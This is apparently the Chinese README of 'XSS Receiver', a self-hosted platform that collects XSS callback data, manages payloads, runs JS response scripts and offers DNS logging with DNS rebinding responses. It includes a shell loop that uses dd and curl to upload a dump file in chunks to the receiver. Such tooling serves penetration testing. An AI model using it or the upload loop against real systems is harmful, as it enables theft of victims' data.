XSS Receiver

基于 Sanic 的 xss 接收 + payload 管理平台,

主要特点:

• 在特定路由上保存访问历史以及携带数据
• 命中特定路由时发送邮件
• 动态切换路由及其对应的 payload 文件
• 根据设置, 响应可以通过 js 脚本动态生成
• 管理、编辑 payload
• 额外搭载简单的 DNS Log 功能
• 多用户
• Docker 快速部署

部署

1. clone

git clone https://github.com/rmb122/xss-receiver.git

2. 安装

修改 docker-compose.yml 里面的 environment 成想要的配置

• URL_PREFIX 为管理面板的路径, 建议修改为不易猜出的路径, 例如 /e7ca70a07ec48cdc74c2217f55d08c383d37e62d
• INIT_USER 为初始的管理员登录帐号和登录密码, 用 : 分隔
• BEHIND_PROXY 决定是否从 X-Real-IP 和 X-Real-Port Header 中取值作为客户端 IP, 端口

然后

sudo docker-compose up -d

稍等一会等待数据库初始化即可.

注意:

• 访问需要访问完整的路径, 假设设置管理面板路径为 /admin_is_here, 那么需要访问 https://example.com/admin_is_here/index.html. 访问 https://example.com/test233/ 会返回 404.

3. 快速开始

在文件管理中新建或上传一个任意名字的文件, 之后在HTTP 规则中创建一个分类, 并在分类中添加一个进行记录的路由, 比如 /, 并将映射文件设为刚刚上传的文件.
然后访问网站根目录, 可以看到返回的是刚刚设置的文件, 并且在HTTP日志处记录了访问所携带的数据.

注意事项

动态脚本

如果将规则类型设置为动态脚本, 那么规则所指向的文件会被作为 js 脚本, 使用 duktape 来运行, 语法和相关 API 可以参考官方文档,
需要注意 duktape 语法为 ES5, 不支持 ES6 及其之后的语法, 例如 let 声明变量等等, 这里不再对 js 运行时额外进行介绍.
脚本上下文中会被注入常用的变量和函数, 相关实现在 xss_receiver/script_engine.py

这里介绍相关 API 的使用方法

request

获取请求信息, 需要注意获取请求体时, 因为不同 Content-Type 需要不同解析方式, 所以均使用函数调用.
另外 bytes 对应 Buffer 或者 Uint8Array.

class File:
    filename: str
    type: str
    content: str
    raw_content: bytes

response

发送响应信息

storage

操作文件管理目录下的文件

其他

例子

通过脚本引擎功能实现大文件分片上传

var file = request.get_file();
var fileKeys = Object.keys(file);
if (fileKeys.length > 0) {
    var key = fileKeys[0];
    var filename = file[key].filename.split('/');
    filename = filename[filename.length - 1];
    var content = file[key].raw_content;
    storage.write_file('/upload/' + filename, content, true);
}

配合以下 shell 脚本使用

TARGETURL=http://127.0.0.1/test 
FILENAME=dump.zip
BLOCKSIZE=102400
FILESIZE=$(stat -c '%s' $FILENAME) 
BLOCKCOUNT=$(( $FILESIZE/$BLOCKSIZE+1 ))
i=0
while [ $i -ne $BLOCKCOUNT ]
do
        dd if=$FILENAME bs=$BLOCKSIZE count=1 skip=$i | curl $TARGETURL -F "upload=@-;filename=$FILENAME"
        i=$(($i+1))
done

将会将文件保存在文件管理页面下的 /upload 目录下

文件管理

由于前端采用 table 组件, 无法显示一层以上的目录, 所以目前暂不支持一层以上目录的创建. 即使使用 js 脚本创建, 也是无法在前端显示的.
如果需要往文件夹中写入文件直接在新建的文件名前面添加目录名即可, 例如在 test 目录下新建 123.txt, 输入的文件名为 test/123.txt

DNS Log

因为很多 Linux 都会在本地启动一个 DNS 服务器, 直接监听 0.0.0.0:53 不会成功, 所以默认在 docker-compose 中不启用 DNS Log, 开启这个功能需要解除注释后将 53:53/udp 改为 x.x.x.x:53:53/udp 其中 x.x.x.x 为除了 0.0.0.0 之外的监听的 IP 地址

目前还实现了一个简易的响应系统, 可以用于 dns rebinding, 响应结果取决于请求的域名中的信息, 格式为

((ipv4_addr|ipv6_addr)\.(time\.)?){1,}xxx\.com

其中 ipv4_addr 和 ipv6_addr 需要将地址中对应的 . 或者 : 替换成下划线, 另外 ipv6 地址不支持通过 :: 缩写.
例如: 1_1_1_1.2.2_2_2_2.ffff_ffff_ffff_ffff_ffff_ffff_ffff_ffff.xxx.dns.sss.com 前两次查询会返回 1.1.1.1, 第三次查询会返回 2.2.2.2, 第四次会返回 ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff, 而第五次又会重新开始, 返回 1.1.1.1

另外可以配置 DNS_KEY, 系统会检查请求的域名中是否存在配置的 DNS_KEY, 例如配置成 DNS_KEY=dns 那么 1_1_1_1.dns.xx.com 才会返回结果, 1_1_1_1.xx.com 是不行的

用于统计次数的缓存采用 LRU, 大小默认 1024, cache 的 key 是 qname + "@" + remote_ip

系统日志

其中除了有登录日志外, 系统和脚本运行时出现的错误也会记录在其中

用户

系统的用户功能只在登录时使用, 没有隔离资源的作用, 只是为了方便共享平台, 避免自己的密码泄漏

设置

系统设置的值需要符合 JSON 语法. 如果需要关闭新消息的提醒, 也可以在此处, 需要注意此种设置是保存在 localStorage 中而不是服务端.

使用截图